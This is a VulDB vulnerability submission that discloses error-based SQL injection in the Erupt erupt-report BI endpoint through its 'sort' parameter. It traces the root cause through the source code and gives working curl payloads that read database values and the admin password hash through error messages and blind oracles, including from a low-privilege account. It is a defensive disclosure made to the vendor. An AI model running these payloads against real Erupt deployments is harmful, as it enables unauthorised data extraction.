Отправить #1035479: erupts Erupt (erupt-report module, open-sourced in 2.1.0, formerly the commercial erupt-BI) master `v2.3.0` (source snapshot 2026-10-03; self-built `erupt-sample-2.3.0`, Spring Boot 3.5.16 / Java 17, default H2); the `ReportService.queryBiData` concatenatИнформация

Названиеerupts Erupt (erupt-report module, open-sourced in 2.1.0, formerly the commercial erupt-BI) master `v2.3.0` (source snapshot 2026-10-03; self-built `erupt-sample-2.3.0`, Spring Boot 3.5.16 / Java 17, default H2); the `ReportService.queryBiData` concatenat
ОписаниеError-based SQL injection via the sort parameter of the Erupt erupt-report BI data endpoint Vendor: erupts Affected versions: master `v2.3.0` (source snapshot 2026-10-03; self-built `erupt-sample-2.3.0`, Spring Boot 3.5.16 / Java 17, default H2); the `ReportService.queryBiData` concatenation described below is the mechanism to review on every version shipping erupt-report Vulnerability class: SQL injection, ORDER BY error-based (CWE-89) Preconditions: An account whose role includes the report menu (`@EruptRouter(VerifyType.MENU, authIndex=2)` on the endpoint). Proven at runtime (2026-10-06) with a non-admin account whose only menu is the single BI report (menu grant built through the product's own role API) — see proof-of-concept step 5; the original proof used the seeded `erupt` account. At least one existing BI report (admin-configured `sql_statement` — the normal state of the feature) is required. Any logged-in user whose role can open a BI report can make the server run SQL of their own choosing and read database values back inside the error messages the server returns. Data flow: query parameter `sort` at `POST /erupt-api/bi/data/{code}` (`EruptReportController.java:121-140`) → `ReportService.queryBiData` `String.format("select * from (%s) _t order by %s", sqlStatement, sort)` (`ReportService.java:115`) → `getLimitSql:79-89` → `DBTypeEnum.$SORT` dialect template → `NamedParameterJdbcTemplate.query` as raw SQL text. ### Affected interfaces | Interface | |---| | POST /erupt-api/bi/data/{code}?index=1&size=10&sort=\<payload\>&direction=true | Primary route detail: ``` POST /erupt-api/bi/data/cv4bi?index=1&size=10&sort=<injection>&direction=true Headers: token: <account token holding the report menu> erupt: <Bi code> ``` The client-supplied `sort` value is appended raw into `select * from (<admin sql>) _t order by <sort>` and executed, with no validation, allowlist or escaping anywhere on the chain. The sort key is data — a column name of the report's result set, not SQL: the product promises to order rows, never to evaluate caller SQL. Conversion errors echo attacker-directed database content back to the caller (a `cast` of a concatenated column value returns the value inside the error message), giving a full error-based extraction oracle over the platform database. ### Root cause 1. **Source:** `sort` (and `direction`) are client request parameters of the BI data endpoint (`EruptReportController.java:121-140`); only the strings `" asc"`/`" desc"` are appended for direction. 2. **Sink:** `ReportService.queryBiData` (`erupt-report/.../service/ReportService.java:115`): `String.format("select * from (%s) _t order by %s", sqlStatement, sort)` → `getLimitSql:79-89` → `DBTypeEnum.$SORT` dialect template → `NamedParameterJdbcTemplate.query` as raw SQL text. No validation, allowlist or escaping of `sort` anywhere on the chain. 3. **Trust boundary:** the report `sqlStatement` itself is admin-configured and by-design trusted; the injected `sort` is the user-controlled segment — a parameter meant to name a column of the report's result set that instead escapes into arbitrary SQL expression evaluation. 4. **Missing guard:** the core framework's JPA sorting path applies a strict-identifier guard (`EruptJpaUtils.legalPath`, applied to sorts and unregistered condition keys on the `erupt-data-jpa` path); the erupt-report module's raw-JDBC ORDER BY concatenation never received the equivalent guard. Unlike the JPA path there is not even a whitespace/token guard here — full SQL with spaces and UNION is usable. Baseline: erupts/erupt master `v2.3.0` (source snapshot 2026-10-03), self-built `erupt-sample-2.3.0` self-hosted on `127.0.0.1:8081`, default H2 (file database, user `sa`); a BI report row `cv4bi` with `sql_statement = SELECT id, account FROM e_upms_user` created by direct H2 insert (the report row is admin-configured data, the normal precondition of the feature). **1. Login (seeded account, report-menu holder):** ```sh $ curl -s -X POST 'http://127.0.0.1:8081/erupt-api/login' -H 'Content-Type: application/json' \ -d '{"account":"erupt","pwd":"V2xoS01XTklVVDA9"}' # pwd = triple-base64 of 'erupt' -> 22-char token ``` Requests carry `token: <token>` plus `erupt: cv4bi` (the menu-permission header binds to the Bi code). **2. Injected expression executes in ORDER BY:** ```sh $ curl -s -X POST 'http://127.0.0.1:8081/erupt-api/bi/data/cv4bi?index=1&size=10&sort=cast(%27x%27%20as%20int)&direction=true' -H "token: $TOKEN" -H "erupt: cv4bi" # -> HTTP 500: Data conversion error casting 'x' ``` **3. Database value echoed to the caller (extraction proof):** ```sh $ curl -s -X POST 'http://127.0.0.1:8081/erupt-api/bi/data/cv4bi?index=1&size=10&sort=(select%20cast(%27cv4-%27%7C%7Caccount%20as%20int)%20from%20e_upms_user%20limit%201)&direction=true' -H "token: $TOKEN" -H "erupt: cv4bi" # -> HTTP 500: Data conversion error converting "cv4-erupt" ``` The database value (`account` = `erupt`) was concatenated into the cast and its content returned in the error message. A bit-for-bit conditional oracle also works: `sort=(case when (select ascii(substring(password,1,1)) from e_upms_user where account='erupt')>101 then 1 else 2 end)` gives a 200/500 differential. **4. Negative control:** the benign request `POST /erupt-api/bi/data/cv4bi?index=1&size=10&sort=account&direction=true` returns HTTP 200 with rows ordered — the endpoint works normally for a real column name, isolating the injected payloads (not the endpoint itself and not the report SQL) as the cause of the 500s and the echoed values. **5. Low-privilege reproduction (separate self-hosted instance on `127.0.0.1:19011`):** the entire setup was driven through the product's own API — the seeded admin published the report as a menu (`POST /erupt-api/data/Bi/operator/...` → menu id 284, `{code=cv4bi, type=bi}`), created role `cv4low` whose only menu is that report, and created non-admin account `cv4low` (`isAdmin=false`, roles=`[cv4low]`); after login, `GET /erupt-api/menu` returns exactly the one report menu. Every request below carries `cv4low`'s token alone: ```sh $ curl -s -X POST 'http://127.0.0.1:19011/erupt-api/bi/data/cv4bi?index=1&size=10&sort=(select%20cast(%27cv4-%27%7C%7Caccount%20as%20int)%20from%20e_upms_user%20limit%201)&direction=true' -H "token: $CV4LOW" -H "erupt: cv4bi" # -> HTTP 500: Data conversion error converting "cv4-cv4low" (database value echoed under the non-admin token) ``` A blind predictor also worked under the same token: `sort=(select 1/(ascii(substring(password,1,1))-N) from e_upms_user where account='erupt')` returns 500 only at `N=52`, and `chr(52)='4'` matches the stored admin password hash prefix (`4fa96e...`, confirmed by reading the H2 database directly) — the first character of the admin password hash extracted by an account whose only capability is viewing one BI report. Role-separation controls with `cv4low`'s token: `POST /erupt-api/data/table/EruptUser` → `{"status":403,"error":"Forbidden"}` (the same call with the admin token → 200); benign `sort=account` → 200 with ordered rows. All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved. - **Vendor contact**: GitHub Private Vulnerability Reporting - erupts/erupt - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/erupts/erupt/security/advisories/GHSA-6mch-5577-fv4x; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
Источник⚠️ https://github.com/erupts/erupt
Пользователь
 lucasg2g (UID 84737)
Представление15.10.2026 07:28 (24 дни назад)
Модерация08.11.2026 11:48 (24 days later)
Статуспринято
Запись VulDB432808 [erupts erupt до 2.3.0 ReportService.java ReportService.queryBiData sort SQL-инъекция]
Баллы19

Do you want to use VulDB in your project?

Use the official API to access entries easily!